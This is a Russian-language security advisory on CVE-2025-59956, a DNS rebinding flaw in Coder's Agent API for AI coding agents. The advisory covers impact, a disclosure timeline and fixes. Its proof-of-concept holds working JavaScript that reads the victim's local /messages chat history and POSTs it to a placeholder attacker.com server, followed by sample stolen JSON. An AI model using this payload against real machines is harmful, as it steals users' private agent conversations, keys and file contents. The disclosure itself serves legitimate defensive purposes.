Автор: Evan Harris
Затронутый компонент: Agent API от Coder
CVE: CVE-2025-59956
Оценка CVSS 3.1: 6.5 (Средний) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Обзор

Agent API от Coder представляет собой HTTP-API с открытым исходным кодом для Claude Code, Goose, Aider, Gemini, Amp и Codex.

MCPSec обнаружила в Agent API уязвимость DNS rebinding, которая позволяет удалённым атакующим экфильтровать историю сообщений пользователя в Claude Code.

Coder устранила эту проблему в релизе v0.4.0. Пользователям Agent API следует обновиться до этой или более новой версии.

Воздействие

Атакующие получают полный GET-доступ к эндпоинту /messages, предоставляемому Agent API.

Это допускает несанкционированную экфильтрацию конфиденциальных данных пользователя, а именно локальной истории сообщений, которая может включать секретные ключи, содержимое файловой системы и интеллектуальную собственность, над которой пользователь работает локально.

DNS rebinding может произойти в течение нескольких секунд после подключения к вредоносному веб-серверу.

Proof of Concept

Примите следующие допущения:

  • На машине жертвы запущен Agent API.
  • Жертва переходит на вредоносный веб-сайт.
  • Веб-сайт выполняет атаку DNS rebinding, чтобы заставить веб-браузер жертвы взаимодействовать с уязвимым Agent API от имени атакующего.

После завершения DNS rebinding атакующий может обращаться к локально предоставляемому эндпоинту /messages. Вся история чата жертвы с Agent API может быть экфильтрована на сервер атакующего.

MCPSec провела атаку в формате proof of concept следующим образом:

  1. Разверните приложение для DNS rebinding (например, Singularity of Origin).

  2. Составьте полезную нагрузку, предоставляемую вредоносным веб-сайтом, для получения и экфильтрации данных.

Этот JavaScript-код, предоставляемый с вредоносного сайта, получает историю сообщений и отправляет её атакующему.

const AgentAPI = () => {
  function attack(headers, cookie, body) {
    fetch('http://localhost:3284/messages', {
      method: 'GET',
      mode: "cors",
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal'
      response.json().then(victimMessageHistory => {
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(victimMessageHistory)
        }).then(r => {
          console.log("attacker server response", r)
        }).catch(e => {
          console.error('failed to post', e)
        })
      }).catch(e => {
        console.error('failed to parse response ', e)
      })
    }).catch(e => {
      console.error("failed to get messages", e)
    })
  }

  // Invoked to determine whether the rebinded service
  // is the one targeted by this payload. Must return true or false.
  async function isService(headers, cookie, body) {
    let controller = new AbortController();
    let signal = controller.signal;
    return timeout(1000, fetch(`http://localhost:3284/docs`, {
        mode: 'no-cors',
        credentials: 'omit',
        signal
      }), controller)
      .then(response => {
        return true;
      })
      .catch(e => {
        return (false);
      })
  }

  return {
    attack,
    isService
  }
}

Registry["AgentAPI"] = AgentAPI();

Эндпоинт /messages предоставляется на локальной машине жертвы и при запросе отвечает её историей чата.

  1. Атакующий должен запустить сервер сбора данных, который будет получать POST-запрос. Содержимым POST-запроса должен быть ответ эндпоинта /messages Agent API жертвы.

На машине жертвы Agent API получил запрос на просмотр локальной файловой системы. Вот что было отправлено на сервер сбора данных атакующего:

Ниже приведён пример JSON-данных, украденных у жертвы, которая попросила агента рассказать о её локальной файловой системе.

{
  "$schema": "http://localhost:3284/schemas/MessagesResponseBody.json",
  "messages": [{
    "id": 0,
    "content": "╭───────────────────────────────────────────────────╮ \n│ ✻ Welcome to Claude Code! │ \n│ │ \n│ /help for help, /status for your current setup │ \n│ │ \n│ cwd: /home/evan/Downloads │ \n╰───────────────────────────────────────────────────╯ \n \n ※ Tip: Press Esc twice to edit your previous messages ",
    "role": "agent",
    "time": "2025-07-25T11:20:04.988043205+02:00"
  }, {
    "id": 1,
    "content": "Hello, agent!",
    "role": "user",
    "time": "2025-07-25T13:11:16.699082236+02:00"
  }, {
    "id": 3,
    "content": "tell me about my filessytem",
    "role": "user",
    "time": "2025-07-25T13:14:51.120102556+02:00"
  }, {
    "id": 4,
    "content": "● I'll explore your filesystem to show you what's in your current directory \n and its structure. \n \n● List(.) \n ⎿ Listed 1048 paths (ctrl+r to expand) \n \n● Your Downloads directory contains a wide variety of files: \n \n Documents & PDFs [REDACTED_FOR_MY_OWN_SECURITY] The directory appears to be a typical developer's Downloads folder with a \n mix of tools, documents, and research materials, particularly focused on \n AI/ML security research.",
    "role": "agent",
    "time": "2025-07-25T13:15:10.681040365+02:00"
  }]
}

Рекомендуемые меры по устранению

Для пользователей (немедленно)

  • Немедленно обновитесь до Agent API версии v0.4.0 или новее. Эта версия содержит исправление уязвимости.

Для разработчиков (в долгосрочной перспективе)

  • Внедрите надёжную проверку заголовка Host для всех локально предоставляемых HTTP-API, чтобы предотвратить DNS rebinding.
  • Внедрите защиту от CSRF, чтобы предотвратить другие формы межсайтовых атак.
  • Добавьте предупреждения о безопасности в документацию для инструментов, предоставляющих локальные сетевые сервисы.

Эта уязвимость была сообщена команде Coder в рамках практик ответственного раскрытия. Coder быстро отреагировала и устранила проблему.

Хронология раскрытия

  • 2025-07-25: Первоначальный отчёт об уязвимости отправлен в Coder.
  • 2025-07-25: Coder подтверждает получение отчёта.
  • 2025-07-29: Coder сообщает, что смогла воспроизвести и подтвердить сценарий атаки.
  • 2025-08-13: Уязвимость устранена.
  • 2025-08-21: Coder решает выплатить вознаграждение за отчёт (security bounty).
  • 2025-09-09: Согласована взаимоприемлемая дата публикации бюллетеня.
  • 2025-09-19: Бюллетень безопасности выпущен.

Заключение

Уязвимость DNS rebinding в Agent API от Coder демонстрирует критическую проблему безопасности для растущей экосистемы локальных инструментов разработки на основе ИИ. Хотя эти инструменты предлагают мощные возможности, они должны создаваться с приоритетом безопасности, чтобы защищать от веб-угроз.

Отдельная благодарность команде Coder за оперативную и профессиональную реакцию при устранении этой уязвимости. Всем пользователям Agent API следует обновиться до последней версии, чтобы обеспечить свою защиту.

Ссылки